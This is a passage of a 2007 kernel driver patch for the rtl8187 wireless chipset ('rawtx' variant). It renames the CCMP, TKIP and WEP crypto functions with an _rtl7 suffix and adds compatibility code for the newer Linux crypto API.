+-	ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0);
++	ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0);
+ 
+ 	blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN;
+ 	last = data_len % AES_BLOCK_LEN;
+@@ -245,13 +289,13 @@
+ 	for (i = 1; i <= blocks; i++) {
+ 		len = (i == blocks && last) ? last : AES_BLOCK_LEN;
+ 		/* Authentication */
+-		xor_block(b, pos, len);
+-		ieee80211_ccmp_aes_encrypt(key->tfm, b, b);
++		xor_block_rtl7(b, pos, len);
++		ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b);
+ 		/* Encryption, with counter */
+ 		b014 = (i >> 8) & 0xff;
+ 		b015 = i & 0xff;
+-		ieee80211_ccmp_aes_encrypt(key->tfm, b0, e);
+-		xor_block(pos, e, len);
++		ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e);
++		xor_block_rtl7(pos, e, len);
+ 		pos += len;
+ 	}
+ 
+@@ -262,7 +306,7 @@
+ }
+ 
+ 
+-static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv)
++static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct ieee80211_ccmp_data *key = priv;
+ 	u8 keyidx, *pos;
+@@ -326,8 +370,8 @@
+ 		return -4;
+ 	}
+ 
+-	ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b);
+-	xor_block(mic, b, CCMP_MIC_LEN);
++	ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b);
++	xor_block_rtl7(mic, b, CCMP_MIC_LEN);
+ 
+ 	blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN;
+ 	last = data_len % AES_BLOCK_LEN;
+@@ -337,11 +381,11 @@
+ 		/* Decrypt, with counter */
+ 		b014 = (i >> 8) & 0xff;
+ 		b015 = i & 0xff;
+-		ieee80211_ccmp_aes_encrypt(key->tfm, b0, b);
+-		xor_block(pos, b, len);
++		ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b);
++		xor_block_rtl7(pos, b, len);
+ 		/* Authentication */
+-		xor_block(a, pos, len);
+-		ieee80211_ccmp_aes_encrypt(key->tfm, a, a);
++		xor_block_rtl7(a, pos, len);
++		ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a);
+ 		pos += len;
+ 	}
+ 
+@@ -365,11 +409,15 @@
+ }
+ 
+ 
+-static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv)
++static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv)
+ {
+ 	struct ieee80211_ccmp_data *data = priv;
+ 	int keyidx;
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	struct crypto_tfm *tfm = data->tfm;
++#else
++	struct crypto_cipher *tfm = data->tfm;
++#endif
+ 
+ 	keyidx = data->key_idx;
+ 	memset(data, 0, sizeof(*data));
+@@ -396,7 +444,7 @@
+ }
+ 
+ 
+-static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv)
++static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv)
+ {
+ 	struct ieee80211_ccmp_data *data = priv;
+ 
+@@ -420,7 +468,7 @@
+ }
+ 
+ 
+-static char * ieee80211_ccmp_print_stats(char *p, void *priv)
++static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv)
+ {
+ 	struct ieee80211_ccmp_data *ccmp = priv;
+ 	p += sprintf(p, "key%d alg=CCMP key_set=%d "
+@@ -437,34 +485,34 @@
+ }
+ 
+ 
+-static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = {
++static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = {
+ 	.name			= "CCMP",
+-	.init			= ieee80211_ccmp_init,
+-	.deinit			= ieee80211_ccmp_deinit,
+-	.encrypt_mpdu		= ieee80211_ccmp_encrypt,
+-	.decrypt_mpdu		= ieee80211_ccmp_decrypt,
++	.init			= ieee80211_ccmp_init_rtl7,
++	.deinit			= ieee80211_ccmp_deinit_rtl7,
++	.encrypt_mpdu		= ieee80211_ccmp_encrypt_rtl7,
++	.decrypt_mpdu		= ieee80211_ccmp_decrypt_rtl7,
+ 	.encrypt_msdu		= NULL,
+ 	.decrypt_msdu		= NULL,
+-	.set_key		= ieee80211_ccmp_set_key,
+-	.get_key		= ieee80211_ccmp_get_key,
+-	.print_stats		= ieee80211_ccmp_print_stats,
++	.set_key		= ieee80211_ccmp_set_key_rtl7,
++	.get_key		= ieee80211_ccmp_get_key_rtl7,
++	.print_stats		= ieee80211_ccmp_print_stats_rtl7,
+ 	.extra_prefix_len	= CCMP_HDR_LEN,
+ 	.extra_postfix_len	= CCMP_MIC_LEN,
+ 	.owner			= THIS_MODULE,
+ };
+ 
+ 
+-static int __init ieee80211_crypto_ccmp_init(void)
++static int __init ieee80211_crypto_ccmp_init_rtl7(void)
+ {
+-	return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp);
++	return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7);
+ }
+ 
+ 
+-static void __exit ieee80211_crypto_ccmp_exit(void)
++static void __exit ieee80211_crypto_ccmp_exit_rtl7(void)
+ {
+-	ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp);
++	ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7);
+ }
+ 
+ 
+-module_init(ieee80211_crypto_ccmp_init);
+-module_exit(ieee80211_crypto_ccmp_exit);
++module_init(ieee80211_crypto_ccmp_init_rtl7);
++module_exit(ieee80211_crypto_ccmp_exit_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h
+--- rtl8187_orig/ieee80211/ieee80211_crypt.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h	2007-06-05 14:00:34.000000000 +0200
+@@ -75,12 +75,12 @@
+ 	atomic_t refcnt;
+ };
+ 
+-int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops);
+-int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops);
+-struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name);
+-void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int);
+-void ieee80211_crypt_deinit_handler(unsigned long);
+-void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee,
++int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops);
++int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops);
++struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name);
++void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int);
++void ieee80211_crypt_deinit_handler_rtl7(unsigned long);
++void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee,
+ 				    struct ieee80211_crypt_data **crypt);
+ 
+ #endif
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c	2007-06-05 14:00:28.000000000 +0200
+@@ -9,7 +9,6 @@
+  * more details.
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -21,13 +20,24 @@
+ #include <linux/if_arp.h>
+ #include <asm/string.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
++    #include <asm/scatterlist.h>
++#else
++    #include <linux/scatterlist.h>
++#endif
+ 
+ #include <linux/crypto.h>
+-#include <asm/scatterlist.h>
+ #include <linux/crc32.h>
+ 
++
+ MODULE_AUTHOR("Jouni Malinen");
+ MODULE_DESCRIPTION("Host AP crypt: TKIP");
+ MODULE_LICENSE("GPL");
+@@ -55,14 +65,21 @@
+ 
+ 	int key_idx;
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	struct crypto_tfm *tfm_arc4;
+ 	struct crypto_tfm *tfm_michael;
++#else
++	struct crypto_blkcipher *rx_tfm_arc4;
++	struct crypto_blkcipher *tx_tfm_arc4;
++	struct crypto_hash *rx_tfm_michael;
++	struct crypto_hash *tx_tfm_michael;
++#endif
+ 
+ 	/* scratch buffers for virt_to_page() (crypto API) */
+ 	u8 rx_hdr16, tx_hdr16;
+ };
+ 
+-static void * ieee80211_tkip_init(int key_idx)
++static void * ieee80211_tkip_init_rtl7(int key_idx)
+ {
+ 	struct ieee80211_tkip_data *priv;
+ 
+@@ -72,28 +89,74 @@
+ 	memset(priv, 0, sizeof(*priv));
+ 	priv->key_idx = key_idx;
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0);
+ 	if (priv->tfm_arc4 == NULL) {
+ 		printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate "
+ 		       "crypto API arc4\n");
+ 		goto fail;
+ 	}
+-
+ 	priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0);
+ 	if (priv->tfm_michael == NULL) {
+ 		printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate "
+ 		       "crypto API michael_mic\n");
+ 		goto fail;
+ 	}
++#else
++	priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->tx_tfm_arc4)) {
++		printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate "
++		       "crypto API arc4\n");
++		priv->tx_tfm_arc4 = NULL;
++		goto fail;
++	}
++
++	priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0,
++						 CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->tx_tfm_michael)) {
++		printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate "
++		       "crypto API michael_mic\n");
++		priv->tx_tfm_michael = NULL;
++		goto fail;
++	}
++
++	priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->rx_tfm_arc4)) {
++		printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate "
++		       "crypto API arc4\n");
++		priv->rx_tfm_arc4 = NULL;
++		goto fail;
++	}
++
++	priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0,
++						 CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->rx_tfm_michael)) {
++		printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate "
++		       "crypto API michael_mic\n");
++		priv->rx_tfm_michael = NULL;
++		goto fail;
++	}
++#endif
+ 
+ 	return priv;
+ 
+ fail:
+ 	if (priv) {
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 		if (priv->tfm_michael)
+ 			crypto_free_tfm(priv->tfm_michael);
+ 		if (priv->tfm_arc4)
+ 			crypto_free_tfm(priv->tfm_arc4);
++#else
++		if (priv->tx_tfm_michael)
++			crypto_free_hash(priv->tx_tfm_michael);
++		if (priv->tx_tfm_arc4)
++			crypto_free_blkcipher(priv->tx_tfm_arc4);
++		if (priv->rx_tfm_michael)
++			crypto_free_hash(priv->rx_tfm_michael);
++		if (priv->rx_tfm_arc4)
++			crypto_free_blkcipher(priv->rx_tfm_arc4);
++#endif
+ 		kfree(priv);
+ 	}
+ 
+@@ -101,13 +164,26 @@
+ }
+ 
+ 
+-static void ieee80211_tkip_deinit(void *priv)
++static void ieee80211_tkip_deinit_rtl7(void *priv)
+ {
+ 	struct ieee80211_tkip_data *_priv = priv;
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	if (_priv && _priv->tfm_michael)
+ 		crypto_free_tfm(_priv->tfm_michael);
+ 	if (_priv && _priv->tfm_arc4)
+ 		crypto_free_tfm(_priv->tfm_arc4);
++#else
++	if (_priv) {
++		if (_priv->tx_tfm_michael)
++			crypto_free_hash(_priv->tx_tfm_michael);
++		if (_priv->tx_tfm_arc4)
++			crypto_free_blkcipher(_priv->tx_tfm_arc4);
++		if (_priv->rx_tfm_michael)
++			crypto_free_hash(_priv->rx_tfm_michael);
++		if (_priv->rx_tfm_arc4)
++			crypto_free_blkcipher(_priv->rx_tfm_arc4);
++	}
++#endif
+ 	kfree(priv);
+ }
+ 
+@@ -200,7 +276,7 @@
+ 
+ #define PHASE1_LOOP_COUNT 8
+ 
+-static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32)
++static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32)
+ {
+ 	int i, j;
+ 
+@@ -222,7 +298,7 @@
+ }
+ 
+ 
+-static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK,
++static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK,
+ 			       u16 IV16)
+ {
+ 	/* Make temporary area overlap WEP seed so that the final copy can be
+@@ -268,7 +344,7 @@
+ #endif
+ }
+ 
+-static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv)
++static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkey = priv;
+ 	int len;
+@@ -276,6 +352,9 @@
+ 	struct ieee80211_hdr *hdr;
+ 	u32 crc;
+ 	struct scatterlist sg;
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19))
++	struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 };
++#endif
+ 
+ 	if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 ||
+ 	    skb->len < hdr_len)
+@@ -283,11 +362,11 @@
+ 
+ 	hdr = (struct ieee80211_hdr *) skb->data;
+ 	if (!tkey->tx_phase1_done) {
+-		tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2,
++		tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2,
+ 				   tkey->tx_iv32);
+ 		tkey->tx_phase1_done = 1;
+ 	}
+-	tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16);
++	tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16);
+ 
+ 	len = skb->len - hdr_len;
+ 	pos = skb_push(skb, 8);
+@@ -310,11 +389,19 @@
+ 	icv2 = crc >> 16;
+ 	icv3 = crc >> 24;
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16);
++#else
++	crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16);
++#endif
+ 	sg.page = virt_to_page(pos);
+ 	sg.offset = offset_in_page(pos);
+ 	sg.length = len + 4;
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4);
++#else
++	crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4);
++#endif
+ 
+ 	tkey->tx_iv16++;
+ 	if (tkey->tx_iv16 == 0) {
+@@ -325,7 +412,7 @@
+ 	return 0;
+ }
+ 
+-static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv)
++static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkey = priv;
+ 	u8 rc4key16;
+@@ -337,6 +424,9 @@
+ 	u32 crc;
+ 	struct scatterlist sg;
+ 	int plen;
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19))
++	struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 };
++#endif
+ 
+ 	if (skb->len < hdr_len + 8 + 4)
+ 		return -1;
+@@ -382,18 +472,26 @@
+ 	}
+ 
+ 	if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) {
+-		tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32);
++		tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32);
+ 		tkey->rx_phase1_done = 1;
+ 	}
+-	tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16);
++	tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16);
+ 
+ 	plen = skb->len - hdr_len - 12;
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16);
++#else
++	crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16);
++#endif
+ 	sg.page = virt_to_page(pos);
+ 	sg.offset = offset_in_page(pos);
+ 	sg.length = plen + 4;
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4);
++#else
++	crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4);
++#endif
+ 
+ 	crc = ~crc32_le(~0, pos, plen);
+ 	icv0 = crc;
+@@ -427,13 +525,22 @@
+ 	return keyidx;
+ }
+ 
+-
+-static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr,
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
++static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr,
+ 		       u8 *data, size_t data_len, u8 *mic)
+ {
+ 	struct scatterlist sg2;
+ 
+ 	if (tkey->tfm_michael == NULL) {
++#else
++static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr,
++		       u8 *data, size_t data_len, u8 *mic)
++{
++	struct hash_desc desc;
++	struct scatterlist sg2;
++
++	if (tfm_michael == NULL) {
++#endif
+ 		printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n");
+ 		return -1;
+ 	}
+@@ -445,15 +552,24 @@
+ 	sg1.offset = offset_in_page(data);
+ 	sg1.length = data_len;
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	crypto_digest_init(tkey->tfm_michael);
+ 	crypto_digest_setkey(tkey->tfm_michael, key, 8);
+ 	crypto_digest_update(tkey->tfm_michael, sg, 2);
+ 	crypto_digest_final(tkey->tfm_michael, mic);
+ 
+ 	return 0;
++#else
++	if (crypto_hash_setkey(tfm_michael, key, 8))
++		return -1;
++
++	desc.tfm = tfm_michael;
++	desc.flags = 0;
++	return crypto_hash_digest(&desc, sg, data_len + 16, mic);
++#endif
+ }
+ 
+-static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr)
++static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr)
+ {
+ 	struct ieee80211_hdr *hdr11;
+ 
+@@ -483,7 +599,7 @@
+ }
+ 
+ 
+-static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv)
++static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkey = priv;
+ 	u8 *pos;
+@@ -495,18 +611,24 @@
+ 		return -1;
+ 	}
+ 
+-	michael_mic_hdr(skb, tkey->tx_hdr);
++	michael_mic_hdr_rtl7(skb, tkey->tx_hdr);
+ 	pos = skb_put(skb, 8);
+-	if (michael_mic(tkey, &tkey->key16, tkey->tx_hdr,
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
++	if (michael_mic_rtl7(tkey, &tkey->key16, tkey->tx_hdr,
+ 			skb->data + hdr_len, skb->len - 8 - hdr_len, pos))
+ 		return -1;
++#else
++	if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key16, tkey->tx_hdr,
++			skb->data + hdr_len, skb->len - 8 - hdr_len, pos))
++		return -1;
++#endif
+ 
+ 	return 0;
+ }
+ 
+ 
+ #if WIRELESS_EXT >= 18
+-static void ieee80211_michael_mic_failure(struct net_device *dev,
++static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev,
+ 				       struct ieee80211_hdr *hdr,
+ 				       int keyidx)
+ {
+@@ -527,7 +649,7 @@
+ 	wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev);
+ }
+ #elif WIRELESS_EXT >= 15
+-static void ieee80211_michael_mic_failure(struct net_device *dev,
++static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev,
+ 				       struct ieee80211_hdr *hdr,
+ 				       int keyidx)
+ {
+@@ -543,7 +665,7 @@
+ 	wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf);
+ }
+ #else /* WIRELESS_EXT >= 15 */
+-static inline void ieee80211_michael_mic_failure(struct net_device *dev,
++static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev,
+ 					      struct ieee80211_hdr *hdr,
+ 					      int keyidx)
+ {
+@@ -551,7 +673,7 @@
+ #endif /* WIRELESS_EXT >= 15 */
+ 
+ 
+-static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx,
++static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx,
+ 				     int hdr_len, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkey = priv;
+@@ -560,10 +682,16 @@
+ 	if (!tkey->key_set)
+ 		return -1;
+ 
+-	michael_mic_hdr(skb, tkey->rx_hdr);
+-	if (michael_mic(tkey, &tkey->key24, tkey->rx_hdr,
++	michael_mic_hdr_rtl7(skb, tkey->rx_hdr);
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
++	if (michael_mic_rtl7(tkey, &tkey->key24, tkey->rx_hdr,
+ 			skb->data + hdr_len, skb->len - 8 - hdr_len, mic))
+ 		return -1;
++#else
++	if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key24, tkey->rx_hdr,
++			skb->data + hdr_len, skb->len - 8 - hdr_len, mic))
++		return -1;
++#endif
+ 	if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) {
+ 		struct ieee80211_hdr *hdr;
+ 		hdr = (struct ieee80211_hdr *) skb->data;
+@@ -572,7 +700,7 @@
+ 		       skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2),
+ 		       keyidx);
+ 		if (skb->dev)
+-			ieee80211_michael_mic_failure(skb->dev, hdr, keyidx);
++			ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx);
+ 		tkey->dot11RSNAStatsTKIPLocalMICFailures++;
+ 		return -1;
+ 	}
+@@ -588,18 +716,33 @@
+ }
+ 
+ 
+-static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv)
++static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkey = priv;
+ 	int keyidx;
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	struct crypto_tfm *tfm = tkey->tfm_michael;
+ 	struct crypto_tfm *tfm2 = tkey->tfm_arc4;
++#else
++	struct crypto_hash *tfm = tkey->tx_tfm_michael;
++	struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4;
++	struct crypto_hash *tfm3 = tkey->rx_tfm_michael;
++	struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4;
++#endif
+ 
+ 	keyidx = tkey->key_idx;
+ 	memset(tkey, 0, sizeof(*tkey));
+ 	tkey->key_idx = keyidx;
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	tkey->tfm_michael = tfm;
+ 	tkey->tfm_arc4 = tfm2;
++#else
++	tkey->tx_tfm_michael = tfm;
++	tkey->tx_tfm_arc4 = tfm2;
++	tkey->rx_tfm_michael = tfm3;
++	tkey->rx_tfm_arc4 = tfm4;
++#endif
++
+ 	if (len == TKIP_KEY_LEN) {
+ 		memcpy(tkey->key, key, TKIP_KEY_LEN);
+ 		tkey->key_set = 1;
+@@ -618,7 +761,7 @@
+ }
+ 
+ 
+-static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv)
++static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkey = priv;
+ 
+@@ -648,7 +791,7 @@
+ }
+ 
+ 
+-static char * ieee80211_tkip_print_stats(char *p, void *priv)
++static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv)
+ {
+ 	struct ieee80211_tkip_data *tkip = priv;
+ 	p += sprintf(p, "key%d alg=TKIP key_set=%d "
+@@ -675,34 +818,34 @@
+ }
+ 
+ 
+-static struct ieee80211_crypto_ops ieee80211_crypt_tkip = {
++static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = {
+ 	.name			= "TKIP",
+-	.init			= ieee80211_tkip_init,
+-	.deinit			= ieee80211_tkip_deinit,
+-	.encrypt_mpdu		= ieee80211_tkip_encrypt,
+-	.decrypt_mpdu		= ieee80211_tkip_decrypt,
+-	.encrypt_msdu		= ieee80211_michael_mic_add,
+-	.decrypt_msdu		= ieee80211_michael_mic_verify,
+-	.set_key		= ieee80211_tkip_set_key,
+-	.get_key		= ieee80211_tkip_get_key,
+-	.print_stats		= ieee80211_tkip_print_stats,
++	.init			= ieee80211_tkip_init_rtl7,
++	.deinit			= ieee80211_tkip_deinit_rtl7,
++	.encrypt_mpdu		= ieee80211_tkip_encrypt_rtl7,
++	.decrypt_mpdu		= ieee80211_tkip_decrypt_rtl7,
++	.encrypt_msdu		= ieee80211_michael_mic_add_rtl7,
++	.decrypt_msdu		= ieee80211_michael_mic_verify_rtl7,
++	.set_key		= ieee80211_tkip_set_key_rtl7,
++	.get_key		= ieee80211_tkip_get_key_rtl7,
++	.print_stats		= ieee80211_tkip_print_stats_rtl7,
+ 	.extra_prefix_len	= 4 + 4, /* IV + ExtIV */
+ 	.extra_postfix_len	= 8 + 4, /* MIC + ICV */
+ 	.owner		        = THIS_MODULE,
+ };
+ 
+ 
+-static int __init ieee80211_crypto_tkip_init(void)
++static int __init ieee80211_crypto_tkip_init_rtl7(void)
+ {
+-	return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip);
++	return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7);
+ }
+ 
+ 
+-static void __exit ieee80211_crypto_tkip_exit(void)
++static void __exit ieee80211_crypto_tkip_exit_rtl7(void)
+ {
+-	ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip);
++	ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7);
+ }
+ 
+ 
+-module_init(ieee80211_crypto_tkip_init);
+-module_exit(ieee80211_crypto_tkip_exit);
++module_init(ieee80211_crypto_tkip_init_rtl7);
++module_exit(ieee80211_crypto_tkip_exit_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c	2007-06-05 14:00:28.000000000 +0200
+@@ -9,7 +9,6 @@
+  * more details.
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -18,13 +17,24 @@
+ #include <linux/skbuff.h>
+ #include <asm/string.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ 
+ #include <linux/crypto.h>
+-#include <asm/scatterlist.h>
+ #include <linux/crc32.h>
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
++    #include <asm/scatterlist.h>
++#else
++    #include <linux/scatterlist.h>
++#endif
++
+ MODULE_AUTHOR("Jouni Malinen");
+ MODULE_DESCRIPTION("Host AP crypt: WEP");
+ MODULE_LICENSE("GPL");
+@@ -36,11 +46,16 @@
+ 	u8 keyWEP_KEY_LEN + 1;
+ 	u8 key_len;
+ 	u8 key_idx;
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	struct crypto_tfm *tfm;
++#else
++	struct crypto_blkcipher *rx_tfm;
++	struct crypto_blkcipher *tx_tfm;
++#endif
+ };
+ 
+ 
+-static void * prism2_wep_init(int keyidx)
++static void * prism2_wep_init_rtl7(int keyidx)
+ {
+ 	struct prism2_wep_data *priv;
+ 
+@@ -50,13 +65,30 @@
+ 	memset(priv, 0, sizeof(*priv));
+ 	priv->key_idx = keyidx;
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	priv->tfm = crypto_alloc_tfm("arc4", 0);
+ 	if (priv->tfm == NULL) {
+ 		printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate "
+ 		       "crypto API arc4\n");
+ 		goto fail;
+ 	}
++#else
++	priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->tx_tfm)) {
++		printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate "
